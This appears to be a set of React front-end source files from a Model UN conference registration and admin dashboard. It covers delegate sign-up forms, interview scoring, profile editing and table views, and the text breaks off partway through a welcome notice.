value: '广东',
label: '广东',
},{
value: '天津',
label: '天津',
},{
value: '北京',
label: '北京',
},{
value: '安徽',
label: '安徽',
},{
value: '浙江',
label: '浙江',
},{
value: '江苏',
label: '江苏',
},{
value: '上海',
label: '上海',
},{
value: '台湾',
label: '台湾',
}];
const grades = [{
value: '初中',
label: '初中',
},{
value: '高一',
label: '高一',
},{
value: '高二',
label: '高二',
},{
value: '高三',
label: '高三',
},{
value: '大学',
label: '大学',
}];
class RegistrationForm extends React.Component {
state = {
confirmDirty: false,
autoCompleteResult: [],
};
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFieldsAndScroll((err, values) => {
if (!err) {
axios.post('/register/2',{
name: values.name,
gender: values.gender,
age: values.age,
idnum: values.idnum,
school: values.school,
province: values.province,
grade: values.grade[0],
guardian: values.guardian,
phone: values.phone,
phoneg: values.phoneg,
qq: values.qq,
wechat: values.wechat,
skype: values.skype,
})
.then((function(res){
console.log(res);
res.data.err?this.props.history.push("/failed"):this.props.history.push("/dashboard");
}).bind(this))
.catch(function(err){
console.log(err);
});
console.log('Received values of form: ', values);
//this.props.history.push("/register/emailsended")
}
});
}
render() {
const { getFieldDecorator } = this.props.form;
const { autoCompleteResult } = this.state;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
const prefixSelector = getFieldDecorator('prefix', {
initialValue: '86',
})(
<Select style={{ width: 60 }}>
<Option value="86">+86</Option>
<Option value="87">+87</Option>
</Select>
);
return (
<div style = {{height: '100%',
width: '100%',
'backgroundImage': `url(${BackGroundImage})`,
'backgroundPosition':'center'}}>
<div style = {{ margin: 'auto',
padding: '10% 0px',
maxWidth: 600}}>
<div style = {{textAlign: 'center',
margin: 'auto',
padding: 45,
width: 600,
'backgroundColor': 'rgba(255,255,255,0.75)',
borderRadius: 10}}>
<h1 style={{textAlign:'left'}}>详细信息</h1>
<hr/><br/>
<Form onSubmit={this.handleSubmit}>
<FormItem
{...formItemLayout}
label="姓名"
hasFeedback
>
{getFieldDecorator('name', {
rules: [{
required: true, message: '请输入您的姓名!',
}],
})(
<Input/>
)}
</FormItem>
<FormItem style={{textAlign:'left'}}
{...formItemLayout}
label = "性别"
>
{getFieldDecorator('gender',{
rules: [{required: true, message: '请选择您的性别!'}]
})(
<RadioGroup>
<Radio value={'female'}>女 Female</Radio>
<Radio value={'male'}>男 Male</Radio>
</RadioGroup>
)}
</FormItem>
<FormItem style={{textAlign:'left'}}
{...formItemLayout}
label="年龄"
hasFeedback
>
{getFieldDecorator('age', {
rules: [{
required: true, message: '请输入您的年龄!',
}],
})(
<InputNumber min={1} max={100} />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="身份证"
hasFeedback
>
{getFieldDecorator('idnum', {
rules: [{min: 18,max: 18, message: '这不是一个有效的省份证号!'},{
required: true, message: '请输入您的身份证号!',
}],
})(
<Input/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="学校"
hasFeedback
>
{getFieldDecorator('school', {
rules: [{
required: true, message: '请输入您的学校名称!',
}],
})(
<Input/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="学校所在省份"
hasFeedback
>
{getFieldDecorator('province', {
rules: [{ type: 'array', required: true, message: '请选择您学校所在省份!'
}],
})(
<Cascader options={prov} />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="年级"
hasFeedback
>
{getFieldDecorator('grade', {
rules: [{ type: 'array', required: true, message: '请选择您的年纪!'
}],
})(
<Cascader options={grades} />
)}
</FormItem>
<hr/><br/>
<FormItem
{...formItemLayout}
label="E-mail"
hasFeedback
>
{getFieldDecorator('email', {
rules: [{
type: 'email', message: 'The input is not valid E-mail!',
}, {
required: true, message: '请输入您的邮箱地址!',
}],
})(
<Input placeholder="<EMAIL>"/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="手机号"
>
{getFieldDecorator('phone', {
rules: [{ required: true, message: '请输入您的手机号码!' }],
})(
<Input addonBefore={prefixSelector} style={{ width: '100%' }} />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="QQ"
hasFeedback
>
{getFieldDecorator('qq',{
initialValue: '',
})(
<Input/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="微信"
hasFeedback
>
{getFieldDecorator('wechat',{
initialValue: '',
})(
<Input/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="Skype"
hasFeedback
>
{getFieldDecorator('skype',{
initialValue: '',
})(
<Input/>
)}
</FormItem>
<hr/><br/>
<FormItem
{...formItemLayout}
label="监护人姓名"
hasFeedback
>
{getFieldDecorator('guardian',{
rules: [{ required: true, message: '请输入您的监护人姓名!'}]
})(
<Input/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="监护人电话"
>
{getFieldDecorator('phoneg', {
rules: [{ required: true, message: '请输入您的监护人联系方式!用于紧急情况' }],
})(
<Input addonBefore={prefixSelector} style={{ width: '100%' }} />
)}
</FormItem>
<hr/><br/>
<FormItem
{...formItemLayout}
label="第一志愿"
hasFeedback
>
{getFieldDecorator('firstChoice', {
rules: [{ type: 'array', required: true, message: '请选择第一志愿!'
}],
})(
<Cascader options={FirstProv} />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="第二志愿"
hasFeedback
>
{getFieldDecorator('secondChoice', {
rules: [{ type: 'array', required: true, message: '请选择第二志愿!'
}],
})(
<Cascader options={SecondProv} />
)}
</FormItem><br/>
<FormItem {...tailFormItemLayout}>
<Button type="primary" htmlType="submit" style={{width:'100%'} } >提交</Button>
</FormItem>
</Form>
</div>
</div>
</div>
);
}
}
const ForDelegate = Form.create()(RegistrationForm)
export default ForDelegate;
<file_sep>/umunc/src/dashboard/info/InterviewManage.js
import React, { Component } from 'react';
import { Button, Modal, Form, Input, Radio, Cascader, Slider } from 'antd';
import axios from 'axios';
const FormItem = Form.Item;
const { TextArea } = Input;
class InterviewManage extends React.Component {
state = {
visible: false,
};
showModal = () => {
this.setState({ visible: true });
}
handleCancel = () => {
this.setState({ visible: false });
}
handleCreate = () => {
const form = this.form;
form.validateFields((err, values) => {
if (!err) {
console.log("no error");
axios.post('/interviewResult',{
id: this.state.props.id,
score: values.score,
result: values.result,
comments: values.comments,
secretComments: values.secretComments,
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
// console.log('Received values of form: ', values);
form.resetFields();
this.setState({ visible: false });
});
}
saveFormRef = (form) => {
this.form = form;
}
render() {
const CollectionCreateForm = Form.create()(
(props) => {
const { visible, onCancel, onCreate, form } = props;
const { getFieldDecorator } = form;
return (
<Modal
visible={visible}
title="面试"
okText="提交"
onCancel={onCancel}
onOk={onCreate}
>
<Form layout="vertical">
<FormItem
label="面试评价"
>
{getFieldDecorator('comments', {
})(
<TextArea rows={3} />
)}
</FormItem>
<FormItem
label="内部反馈"
>
{getFieldDecorator('secretComments', {
})(
<TextArea rows={3} />
)}
</FormItem>
<FormItem
label="面试成绩"
>
{getFieldDecorator('score')(
<Slider marks={{ 1:'F', 2: 'C-', 3: 'C', 4: 'C+', 5: 'B-', 6: 'B', 7: 'B+', 8: 'A-', 9: 'A', 10:'A+' }} max={10} min={1} />
)}
</FormItem>
<FormItem>
{getFieldDecorator('result', {
initialValue: 'pass',
})(
<Radio.Group>
<Radio value='pass'>通过面试</Radio>
<Radio value='reject'>退回面试</Radio>
<p>退回面试,管理员将重新为代表分配面试官!</p>
</Radio.Group>
)}
</FormItem>
</Form>
</Modal>
);
}
);
return (
<div>
<Button type="primary" onClick={this.showModal} ghost>面试代表</Button>
<CollectionCreateForm
ref={this.saveFormRef}
visible={this.state.visible}
onCancel={this.handleCancel}
onCreate={this.handleCreate}
/>
</div>
);
}
}
export default InterviewManage;
<file_sep>/umunc/src/dashboard/info/ProfileinD.js
import React, { Component } from 'react';
import { Form, Input, Button } from 'antd';
import axios from 'axios';
const FormItem = Form.Item;
class RegistrationForm extends React.Component {
state = {
data:'',
};
componentDidMount() {
axios.get('/UserProfile')
.then(res=>{
this.setState(
{data: res.data}
)})
}
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFieldsAndScroll((err, values) => {
if (!err) {
axios.post('/changeProfile',{
newEmail: values.email,
newPhone: values.phone,
})
.then(function(res){
alert(res);
})
}
});
}
render() {
const { getFieldDecorator } = this.props.form;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
return (
<Form onSubmit={this.handleSubmit}>
<FormItem
{...formItemLayout}
label="姓名"
>
{getFieldDecorator('name', {
initialValue: this.state.data.name,
})(
<Input disabled = {true}/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="账户类型"
>
{getFieldDecorator('type', {
initialValue: this.state.data.type,
})(
<Input disabled = {true}/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="邮箱"
hasFeedback
>
{getFieldDecorator('email', {
initialValue: this.state.data.email,
rules: [{
type: 'email', message: 'The input is not valid E-mail!',
}, {
required: true, message: 'Please input your E-mail!',
}],
})(
<Input />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="电话号码"
hasFeedback
>
{getFieldDecorator('phone', {
initialValue: this.state.data.phone,
rules: [{ required: true, message: 'Please input your phone number!' }],
})(
<Input style={{ width: '100%' }} />
)}
</FormItem>
<FormItem {...tailFormItemLayout}>
<Button type="primary" htmlType="submit" style={{width:'100%'}}>确认变更</Button>
</FormItem>
</Form>
);
}
}
const ProfileinD = Form.create()(RegistrationForm);
export default ProfileinD;
<file_sep>/umunc/src/components/PassWords.js
import React from 'react';
import TextField from 'material-ui/TextField';
import {red500} from 'material-ui/styles/colors';
//style and controls
/*http://www.material-ui.com/#/components/text-field*/
export default class Password extends React.Component {
constructor(props) {
super(props);
this.state = {
value: '',
again:'',
password2short: false,
passwordnotequal: false,
};
}
handleChange = (event) => {
this.setState({
value: event.target.value,
password2short: (event.target.value.length < 8),
});
};
handleAgain = (event) => {
this.setState({
again: event.target.value,
passwordnotequal: (event.target.value !== this.state.value),
});
console.log('again ' + this.state.again);
console.log('value ' + this.state.value);
}
render() {
return (
<div>
<TextField
id = "password"
hintText = "Password"
value={this.state.value}
onChange={this.handleChange}
errorText=""
underlineFocusStyle={this.props.underlineFocuseStyle}
type = "password"
underlineStyle = {this.props.underlineStyle}
/>
<TextField
id = "password"
hintText = "PasswordAgain"
value={this.state.again}
onChange={this.handleAgain}
errorText=""
underlineFocusStyle={this.props.underlineFocuseStyle}
type = "password"
underlineStyle = {this.props.underlineStyle}
/>
{this.state.password2short?<p style={{color:red500}}>·Aha! Password shorter than 8 chars!</p>:null}
{this.state.passwordnotequal?<p style={{color:red500}}>·Aha! Password not equal!</p>:null}
</div>
);
}
}
<file_sep>/umunc/src/dashboard/table/TeamTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import DashboardLayout from '../DashboardLayout';
class TeamTable extends React.Component{
mappingContent = (ajaxdata) => {
let {id,teamname,numofMenbers,applyq,payq,lockq,waitq,leader,_id,leader_id}=ajaxdata;
return({key:id,id,teamname,numofMenbers,applyq,payq,lockq,waitq,leader,leader_id,_id})
}
render(){
return(
<DashboardLayout content={<TableItem format={1} url="/teamsInfo" mappingContent={this.mappingContent}/>} tableTitle="代表团队列表" defaultKey="10" defaultOpenKeys="sub3"/>
);
}
}
export default TeamTable;
<file_sep>/umunc/src/dashboard/table/VolunteerTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import DashboardLayout from '../DashboardLayout';
class VolunteerTable extends React.Component{
mappingContent = (ajaxdata) => {
// return({
// key: ajaxdata.id,
// id: ajaxdata.id,
// name: ajaxdata.name,
// teamname: ajaxdata.teamname,
// })
// return({
// key: ajaxdata.id,
// id: ajaxdata.id,
// name: ajaxdata.name,
// teamname: ajaxdata.teamname,
// chineserole: ajaxdata.chineserole,
// apply_state: ajaxdata.apply_state,
// apply_date:ajaxdata.apply_date,
// committee:ajaxdata.committee,
// })
let {id,name,teamname,chineserole,apply_state,apply_date,committee,_id}=ajaxdata;
return({key:id,id,name,chineserole,teamname,apply_state,apply_date,committee,_id})
}
render(){
return(
<DashboardLayout content={<TableItem format={0} url="/volunteerInfo" mappingContent={this.mappingContent}/>} tableTitle="志愿者列表" defaultKey="4" defaultOpenKeys="sub1"/>
);
}
}
export default VolunteerTable;
<file_sep>/umunc/src/dashboard/table/PersonalInterviews.js
import React, { Component } from 'react';
import DashboardLayout from '../DashboardLayout';
import TabTable from './TabTable';
const tabsName = ['全部面试','未完成面试','已完成面试']
class PersonalInterviews extends React.Component{
mappingContent = (ajaxdata) => {
let {id,interviewee,interviewer,distribution,arrangement,complete,score,interviewee_id}=ajaxdata;
return({key:id,id,interviewee,interviewer,distribution,arrangement,complete,score,interviewee_id})
}
render(){
const diffurl = [
'/interviews/personal/?id=0',
'/interviews/personal/?id=2',
'/interviews/personal/?id=1',
];
return(
<DashboardLayout tableTitle="个人面试队列" defaultKey="6" defaultOpenKeys="sub2" content={<TabTable tabs={tabsName} url={diffurl} mappingContent={this.mappingContent} format={3}/>}/>
);
}
}
export default PersonalInterviews;
<file_sep>/umunc/src/dashboard/DashboardLayout.js
import React, { Component } from 'react';
import { Layout, Menu, Icon, Carousel} from 'antd';
import Logo from '../image/umc1.2.svg';
import TableItem from './table/TableItem';
import axios from 'axios';
import { Link } from 'react-router-dom';
const { Header, Sider, Content, Footer } = Layout;
const SubMenu = Menu.SubMenu;
const MenuItemGroup = Menu.ItemGroup;
class DashboardLayout extends React.Component {
handleClick = (e) => {
if (e.key==='logout') {
axios.post('/liuleliule',{
message:'怕是溜了哦怕是',
})
.then(function(res){
res.data.err?alert(res.data.msg):window.location.href = window.location.origin;
})
}
// this.setState({
// current: e.key,
// });
}
state = {
collapsed: false,
};
toggle = () => {
this.setState({
collapsed: !this.state.collapsed,
});
}
render() {
return (
<Layout>
<Sider
style={{ overflow: 'auto', minHeight: '100vh', position: 'fixed', left: 0, background:'#fff' }}>
<div style={{height:64, display:'inline'}}><img src = {Logo} style={{height:80, width:80}}/><Link to = "/dashboard" style={{fontSize:27,textAlign:'right'}}>UMUNC</Link></div>
<Menu theme="light"
defaultSelectedKeys={[this.props.defaultKey]}
mode="inline"
defaultOpenKeys={[this.props.defaultOpenKeys]}>
<Menu.Item key="7">
<Icon type="appstore"/>Dashboard
<Link to="/dashboard"/>
</Menu.Item>
<SubMenu
key="sub7"
title={<span><Icon type="key" /><span>管理员</span></span>}
>
<Menu.Item key="19"><Link to="/dashboard/admins">管理员列表</Link></Menu.Item>
<Menu.Item key="20"><Link to="/dashboard/admins/new/admin">添加管理员</Link></Menu.Item>
<Menu.Item key="17"><Link to="/dashboard/admins/new/academic">添加学术团队成员</Link></Menu.Item>
<Menu.Divider/>
<Menu.Item key="21"><Link to="/dashboard/teams">群发消息</Link></Menu.Item>
<Menu.Item key="22"><Link to="/dashboard/export">导出文件</Link></Menu.Item>
</SubMenu>
<Menu.Divider/>
<SubMenu
key="sub1"
title={<span><Icon type="solution" /><span>代表管理</span></span>}
>
<Menu.Item key="1"><Link to="/dashboard/delegate">代表</Link></Menu.Item>
<Menu.Item key="2"><Link to="/dashboard/observer">观察员</Link></Menu.Item>
<Menu.Item key="3"><Link to="/dashboard/mentor">指导老师</Link></Menu.Item>
<Menu.Item key="4"><Link to="/dashboard/volunteer">志愿者</Link></Menu.Item>
<Menu.Divider/>
<Menu.Item key="8"><Link to="/dashboard/tocheck">等待审核队列</Link></Menu.Item>
</SubMenu>
<SubMenu
key="sub2"
title={<span><Icon type="calendar" /><span>面试管理</span></span>}
>
<Menu.Item key="5"><Link to="/dashboard/interview/all">全部面试队列</Link></Menu.Item>
<Menu.Item key="6"><Link to="/dashboard/interview/personal">我的面试队列</Link></Menu.Item>
{/* <Menu.Item key="7">面试队列</Menu.Item>
<Menu.Item key="8">未完成面试</Menu.Item>
<Menu.Item key="9">已完成面试</Menu.Item> */}
</SubMenu>
<SubMenu
key="sub3"
title={<span><Icon type="team" /><span>团队管理</span></span>}
>
<Menu.Item key="10"><Link to="/dashboard/teams">代表团列表</Link></Menu.Item>
<Menu.Item key="11"><Link to="/dashboard/teams/new">添加代表团</Link></Menu.Item>
</SubMenu>
<SubMenu
key="sub4"
title={<span><Icon type="file" /><span>文件管理</span></span>}
>
<Menu.Item key="12"><Link to="/dashboard/docus">文件列表</Link></Menu.Item>
<Menu.Item key="13"><Link to="/dashboard/docus/new">添加文件</Link>></Menu.Item>
</SubMenu>
<SubMenu
key="sub5"
title={<span><Icon type="tag-o" /><span>委员会管理</span></span>}
>
<Menu.Item key="14"><Link to="/dashboard/committees">委员会列表</Link>></Menu.Item>
<Menu.Item key="15"><Link to="/dashboard/committees/new">添加委员会</Link>></Menu.Item>
<Menu.Item key="16"><Link to="/dashboard/committees/seats/new">添加席位</Link></Menu.Item>
<Menu.Item key="17"><Link to="/dashboard/committees/seats_c/new">添加子席位</Link></Menu.Item>
</SubMenu>
<Menu.Item key="18">
<Icon type="wallet"/>账单管理
<Link to="/dashboard/debts"/>
</Menu.Item>
</Menu>
</Sider>
<Layout>
<Header style={{background:'#fff', height:47}}>
<Menu
mode="horizontal"
style={{float:'right',background:'#fff'}}
onClick={this.handleClick}>
<SubMenu
key="profileSetting"
title={<span><Icon type="user" style={{fontSize:16}}/><span>Profile</span></span>}
>
<Menu.Item key="profile"><Link to="/dashboard/setting/profile">个人资料</Link></Menu.Item>
<Menu.Divider/>
<Menu.Item key="logout">登出</Menu.Item>
</SubMenu>
</Menu>
</Header>
<Content style={{ marginLeft: 200, overflow: 'initial',height: '100vh' ,background:'#FAFAFA'}}>
<div style={{width:'90%', marginTop:20, marginLeft:'5%'}}>
<h1 style={{marginLeft:2, marginBottom: 3}}>{this.props.tableTitle}</h1>
<div style={{ background: '#ECECEC', height:1 }}/>
<div style={{marginTop:20}}>
{this.props.content}
</div>
</div>
</Content>
<Footer style={{ textAlign: 'center' }}>
UMUNC ©2016 Created No One
</Footer>
</Layout>
</Layout>
);
}
}
export default DashboardLayout;
<file_sep>/umunc/src/dashboard/table/DocuTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import DashboardLayout from '../DashboardLayout';
class DocuTable extends React.Component{
mappingContent = (ajaxdata) => {
let {id,docuName,publishDate,publishRange,version,downloadMount,_id}=ajaxdata;
return({key:id,id,docuName,publishDate,publishRange,version,downloadMount,_id})
}
render(){
return(
<DashboardLayout content={<TableItem format={2} url="/docusInfo" mappingContent={this.mappingContent}/>} tableTitle="文件列表" defaultKey="12" defaultOpenKeys="sub4"/>
);
}
}
export default DocuTable;
<file_sep>/umunc/src/dashboard/info/UsersInfo.js
import React, { Component } from 'react';
import Comments from './Comments';
import TeamManage from './TeamManage';
import SeatManage from './SeatManage';
import InterviewArange from './InterviewArange';
import InterviewManage from './InterviewManage';
import InterviewTimePick from './InterviewTimePick';
import axios from 'axios';
import DashboardLayout from '../DashboardLayout';
import { Tabs, Card, Col, Row, Table, Button, Icon, Popconfirm, message } from 'antd';
const TabPane = Tabs.TabPane;
const tabsName = ['个人信息','面试信息','席位分配'];
const scores = ['N/A','F','C-','C','C+','B-','B','B+','A-','A','A+'];
const apState = ['等待管理员审核','审核已通过','面试已分配','面试已完成','席位已分配','等待缴费','缴费已完成','审核未通过','面试未通过']
const format = [{
title: '代表团',
dataIndex: 'teamname',
key: 'nateamnameme',
}, {
title: '人数',
dataIndex: 'numofMembers',
key: 'numofMembers',
}, {
title: '领队',
dataIndex: 'leader',
key: 'leader',
}];
const seat_format = [{
title: '席位名称',
dataIndex: 'seatName',
key: 'seatName',
}, {
title: '委员会',
dataIndex: 'committeeName',
key: 'committeeName',
}, {
title: '等级',
dataIndex: 'level',
key: 'level',
}];
class UsersInfo extends React.Component{
state = {
data: {
apply_state:2,
interviewerName:'nobody',
},
interviewerList: [],
seatsList: [],
}
componentDidMount() {
const rid = this.props.history.location.pathname.split("/");
axios.get(`/users/info/?id=${rid[4]}`)
.then(res=>{
this.setState(
{
data: res.data,
}
)
})
axios.get('/InterviewerInfo')
.then(res=>{
this.setState(
{
interviewerList: res.data,
}
)
})
axios.get('/SeatInfo')
.then(res=>{
this.setState(
{
seatsList: res.data,
}
)
})
}
Interview = () => {
return(
<div style={{display:'flex'}}>
<InterviewTimePick _id={this.state.data._id}/>
<Popconfirm title="退回面试,管理员将重新为代表安排新的面试官。" onConfirm={this.reject} okText="是" cancelText="否" placement="bottomRight">
<Button type="danger" ghost style={{marginLeft:10}} onClick={this.interview_reject}>退回面试</Button>
</Popconfirm>
</div>
)
}
Audit = () => {
return(
<div>
<Popconfirm title="确认拒绝该代表的申请吗?" onConfirm={this.reject} okText="是" cancelText="否" placement="bottomRight">
<Button type="danger" ghost style={{marginRight:10}}>拒绝申请</Button>
</Popconfirm>
<Popconfirm title="确认通过该代表的申请吗?" onConfirm={this.pass} okText="是" cancelText="否" placement="bottomRight">
<Button type="primary" ghost>通过审核</Button>
</Popconfirm>
</div>
)
}
interview_reject = () => {
axios.post('/interviewAudit',{
_id: this.state.data._id,
msg: false,
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
reject = () => {
axios.post('/delegateAudit',{
_id: this.state.data._id,
msg: false,
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
pass = () => {
axios.post('/delegateAudit',{
_id: this.state.data._id,
msg: true,
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
user_profile = () => {
return(
<Row>
<Col span={5}>
<p>{'姓名'}</p>
<p>{'性别'}</p>
<p>{'用户ID'}</p>
<p>{'身份证'}</p>
<p>{'电话号码'}</p>
<p>{'邮箱'}</p>
<p>{'申请类型'}</p>
<p>{'申请状态'}</p>
<p>{'QQ'}</p>
<p>{'微信'}</p>
<p>{'Skype'}</p>
</Col>
<Col span={19}>
<p>{this.state.data.name} </p>
<p>{this.state.data.gender} </p>
<p>{this.state.data._id} </p>
<p>{this.state.data.idnum} </p>
<p>{this.state.data.phone} </p>
<p>{this.state.data.email} </p>
<p>{this.state.data.apply_type} </p>
<p>{apState[this.state.data.apply_state]} </p>
<p>{this.state.data.qq} </p>
<p>{this.state.data.wechat} </p>
<p>{this.state.data.skype} </p>
</Col>
</Row>
)
}
selected_seat = () => {
return(
<Row>
<Col span={5}>
<p>{'席位名称'}</p>
<p>{'委员会'}</p>
<p>{'选择时间'}</p>
<p>{'状态'}</p>
</Col>
<Col span={19}>
<p>{this.state.data.seatName} </p>
<p>{this.state.data.committeeName} </p>
<p>{this.state.data.selectedTime} </p>
<p>{apState[this.state.data.apply_state]} </p>
</Col>
</Row>
)
}
present_interview = () => {
return(
<Row>
<Col span={5}>
<p>{'状态'}</p>
<p>{'指派面试官'}</p>
<p>{'指派时间'}</p>
<p>{'安排时间'}</p>
<p>{'完成时间'}</p>
<p>{'面试总分'}</p>
<p>{'面试评价'}</p>
<p>{'内部反馈'}</p>
</Col>
<Col span={19}>
<p>{apState[this.state.data.apply_state]} </p>
<p>{this.state.data.interviewerName} </p>
<p>{this.state.data.interviewerTime} </p>
<p>{this.state.data.interviewTime} </p>
<p>{this.state.data.interviewFinishTime} </p>
<p>{scores[this.state.data.score]} </p>
<p>{this.state.data.comments} </p>
<p>{this.state.data.secretComments} </p>
</Col>
</Row>
)
}
previous_interview = () => {
return(
<Row>
<Col span={5}>
<p>{'指派面试官'}</p>
<p>{'指派时间'}</p>
<p>{'安排时间'}</p>
<p>{'完成时间'}</p>
<p>{'面试总分'}</p>
<p>{'面试评价'}</p>
<p>{'内部反馈'}</p>
</Col>
<Col span={19}>
<p>{this.state.data.pastInterviewerName} </p>
<p>{this.state.data.pastInterviewerTime} </p>
<p>{this.state.data.pastInterviewTime} </p>
<p>{this.state.data.pastInterviewFinishTime} </p>
<p>{this.state.data.pastScore} </p>
<p>{this.state.data.pastComments} </p>
<p>{this.state.data.pastSecretComments} </p>
</Col>
</Row>
)
}
delegate_profile = () => {
return(
<Row>
<Col span={5}>
<p>{'省份'}</p>
<p>{'学校'}</p>
<p>{'年龄'}</p>
<p>{'年级'}</p>
<p>{'监护人姓名'}</p>
<p>{'监护人电话'}</p>
</Col>
<Col span={19}>
<p>{this.state.data.province} </p>
<p>{this.state.data.school} </p>
<p>{this.state.data.age} </p>
<p>{this.state.data.grade} </p>
<p>{this.state.data.guardian} </p>
<p>{this.state.data.phoneg} </p>
</Col>
</Row>
)
}
roommate_info = () => {
return(
<Row>
<Col span={5}>
<p>{'室友姓名'}</p>
<p>{'室友邮箱'}</p>
<p>{'室友手机'}</p>
</Col>
<Col span={19}>
<p>{this.state.data.rm_name} </p>
<p>{this.state.data.rm_email} </p>
<p>{this.state.data.rm_phone} </p>
</Col>
</Row>
)
}
profile = () => {
return(
<Row gutter={24}>
<Col span={12} >
<Card
title={<h2>用户信息</h2>}
extra={ this.state.data.apply_state===0? <this.Audit/>:null}
bordered={false}
style={{marginBottom:36, fontSize:16}}>
{<this.user_profile/>}
</Card>
<Card
title={<h2>代表信息</h2>}
bordered={false}
style={{fontSize:16}}
extra = {this.state.data.apply_state===2?<InterviewManage id = {this.state.data._id}/>:null}>
{<this.delegate_profile/>}
</Card>
</Col>
<Col span={12}>
<Row>
<Card
title={<h2>团队信息</h2>}
bordered={false}
extra={<TeamManage team_list={this.state.data.teams}/>}
style={{marginBottom:36}}>
{this.state.data.belong2team=== false?<p>次代表不属于任何代表团,是一只孤独的单身狗!</p>:<Table pagination={false} bordered = {true} size="small" columns={format} dataSource={this.state.data.team_info}/>}
</Card>
</Row>
<Row>
<Card
title={<h2>室友信息</h2>}
bordered={false}
style={{marginBottom:36, fontSize:16}}>
<this.roommate_info/>
</Card>
</Row>
<Row>
<Comments initialc={this.state.data.comments}/>
</Row>
</Col>
</Row>
)
}
interview = () => {
return(
<Row gutter={24}>
<Col span={12} >
<Card
title={<h2>当前面试信息</h2>}
bordered={false}
extra = {this.state.data.interviewerName===null?<InterviewArange team_list={this.state.interviewerList} _id={this.state.data._id}/>:this.state.data.apply_state===1?<this.Interview/>:null}
style={{marginBottom:36, fontSize:16}}>
<this.present_interview/>
</Card>
</Col>
<Col span={12}>
<Card
title={<h2>早前面试信息</h2>}
bordered={false} style={{marginBottom:36, fontSize:16}}>
<this.previous_interview/>
</Card>
</Col>
</Row>
)
}
seat = () => {
return(
<Row gutter={24}>
<Col span={8} >
<Card title={<h2>已选择席位</h2>} bordered={false} style={{marginBottom:36, fontSize:16}}>{<this.selected_seat/>}</Card>
</Col>
<Col span={16}>
<Card title={<h2>开放席位分配</h2>} bordered={false} style={{marginBottom:36, fontSize:16}}
extra={this.state.data.apply_state>=3&&this.state.data.apply_state<=4?<SeatManage team_list={this.state.seatsList} email={this.state.data.email}/>:null}>
<Table
pagination={false}
bordered = {true}
size="small"
columns={seat_format}
dataSource={this.state.data.team_info}/>
</Card>
</Col>
</Row>
)
}
Tabbb = () => {
return(
<Tabs size="small" tabPosition="right">
<TabPane tab="个人信息" key="1"><this.profile/></TabPane>
<TabPane tab="面试信息" key="2"><this.interview/></TabPane>
<TabPane tab="席位分配" key="3"><this.seat/></TabPane>
</Tabs>
)
}
render(){
return(
<DashboardLayout tableTitle={this.state.data.name} content={<this.Tabbb/>}/>
);
}
}
export default UsersInfo;
<file_sep>/umunc/src/dashboard/add/AdSeat.js
import React, { Component } from 'react';
import AddItem from './AddItem';
import Dinamic from './Dinamic';
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
const Notification = () => {
return(
<div style={{lineHeight: 2}}>
<p>您可以在这里添加某一委员会的所有席位。</p>
<p>包括多代席位主席位和单代席位。</p>
</div>
)
}
class AdSeat extends React.Component {
render() {
return (
<AddItem
defaultKey="16"
defaultOpenKeys="sub5"
head={<h2>席位信息</h2>}
form={<Dinamic/>}
noti = {<Notification/>}
title="添加席位"/>
);
}
}
export default AdSeat
<file_sep>/umunc/src/profile/Notifications.js
import React from 'react';
let textStyle = {
color: '#616161',
lineHeight: '1.5em',
fontSize: 14,
fontFamily: 'Arial,Helvetica,sans-serif',
margin: '0 15px',
padding: 5
}
let olStyle = {
color: '#616161',
lineHeight: '1.5em',
fontSize: 14,
fontFamily: 'Arial,Helvetica,sans-serif',
padding: 5
}
const Notifications = () => (
<div style = {{width:600}}>
<h2 style = {{textAlign : 'left', margin: 0}}>
UMUNC
</h2>
<hr/>
<h3>欢迎与众不同的你</h3>
<p style = {textStyle}>有尊敬的各位老师、代表、学术团队</p>
<p style = {textStyle}>以及每一个与众不同的你:</p>
<p style = {textStyle}>2011,UMUNC 诞生在济南;</p>
<p style = {textStyle}>2017,UMUNC 走过了第六个年头;</p>
<p style = {textStyle}>我们坚守初心,也一直在寻找新的道路。邓析子说:“不进则退,不喜则忧, 不得则亡。”六年走来,我们不仅继承了一贯的学术理念,还注重为其注入更具 活力的血液,融入更具创新价值的想法。而同时,技术的进步,带来了全新的报 名系统和更便利的会议交流平台,一次次挑战极致的信息化体验,都在为会议保 驾护航。</p>
<hr />
<h3>席位申请说明</h3>
<p style = {{
color: '#616161',
lineHeight: '1.5em',
fontSize: 16,
fontFamily: 'Arial,Helvetica,sans-serif',
margin: '0 15px',
}}>本年度席位申请全程采用线上报名的形式,故为更好的服务各位参会同学及老师,请注意以下申请事项:</p>
<ol>
